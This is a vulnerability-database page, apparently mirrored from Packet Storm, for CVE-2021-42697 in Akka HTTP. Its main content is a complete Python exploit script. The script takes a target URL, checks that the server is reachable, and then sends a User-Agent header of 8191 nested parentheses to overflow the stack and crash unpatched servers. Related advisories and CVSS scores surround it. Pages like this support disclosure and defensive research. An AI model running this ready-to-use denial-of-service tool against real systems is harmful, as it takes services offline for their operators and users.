Lucene search
K

Akka HTTP 10.1.14 Denial Of Service

🗓️ 11 May 2022 00:00:00Reported by cxosmoType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 198 Views

Akka HTTP 10.1.14 Denial Of Service via Nested Header Comment

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Akka HTTP 10.1.14 - Denial of Service Exploit
11 May 202200:00
zdt
GithubExploit
Exploit for Uncontrolled Recursion in Akka Http_Server
24 Apr 202205:51
githubexploit
Circl
CVE-2021-42697
3 Nov 202101:23
circl
CNNVD
Lightbeed Akka Akka-http缓冲区错误漏洞
2 Nov 202100:00
cnnvd
CVE
CVE-2021-42697
2 Nov 202121:44
cve
Cvelist
CVE-2021-42697
2 Nov 202121:44
cvelist
Exploit DB
Akka HTTP 10.1.14 - Denial of Service
11 May 202200:00
exploitdb
Github Security Blog
Uncontrolled Recursion in Akka HTTP
24 May 202219:19
github
NVD
CVE-2021-42697
2 Nov 202122:15
nvd
OpenVAS
Akka HTTP < 10.2.7 DoS Vulnerability
5 Nov 202100:00
openvas
Rows per page
`# Exploit Title: Akka HTTP Denial of Service via Nested Header Comments  
# Date: 18/4/2022  
# Exploit Author: cxosmo  
# Vendor Homepage: https://akka.io  
# Software Link: https://github.com/akka/akka-http  
# Version: Akka HTTP 10.1.x < 10.1.15 & 10.2.x < 10.2.7  
# Tested on: Akka HTTP 10.2.4, Ubuntu  
# CVE : CVE-2021-42697  
  
import argparse  
import logging  
import requests  
  
# Logging config  
logging.basicConfig(level=logging.INFO, format="")  
log = logging.getLogger()  
  
def send_benign_request(url, verify=True):  
log.info(f"Sending benign request to {url} for checking reachability...")  
try:  
r = requests.get(url)  
log.info(f"Benign request returned following status code: {r.status_code}")  
return True  
except Exception as e:  
log.info(f"The following exception was encountered: {e}")  
return False  
  
def send_malicious_request(url, verify=True):  
log.info(f"Sending malicious request to {url}")  
# Akka has default HTTP header limit of 8192; 8191 sufficient to trigger stack overflow per 10.2.4 testing  
nested_comment_payload = "("*8191  
headers = {'User-Agent': nested_comment_payload}  
try:  
r = requests.get(url, headers=headers)  
log.info(f"Request returned following status code: {r.status_code}")  
# Expected exception to be returned if server is DoSed successfully  
except requests.exceptions.RequestException as e:  
if "Remote end closed connection without response" in str(e):  
log.info(f"The server is unresponsive per {e}: DoS likely successful")  
except Exception as e:  
log.info(f"The following exception was encountered: {e}")  
  
if __name__ == "__main__":  
# Parse command line  
parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter)  
required_arguments = parser.add_argument_group('required arguments')  
required_arguments.add_argument("-t", "--target",  
help="Target URL for vulnerable Akka server (e.g. https://localhost)",  
required="True", action="store")  
parser.add_argument("-k", "--insecure",  
help="Disable verification of SSL/TLS certificate",  
action="store_false", default=True)  
args = parser.parse_args()  
  
# Send requests: first is connectivity check, second is DoS attempt  
if send_benign_request(args.target, args.insecure):  
send_malicious_request(args.target, args.insecure)  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

11 May 2022 00:00Current
CVSS 25
CVSS 3.17.5
EPSS0.75541
198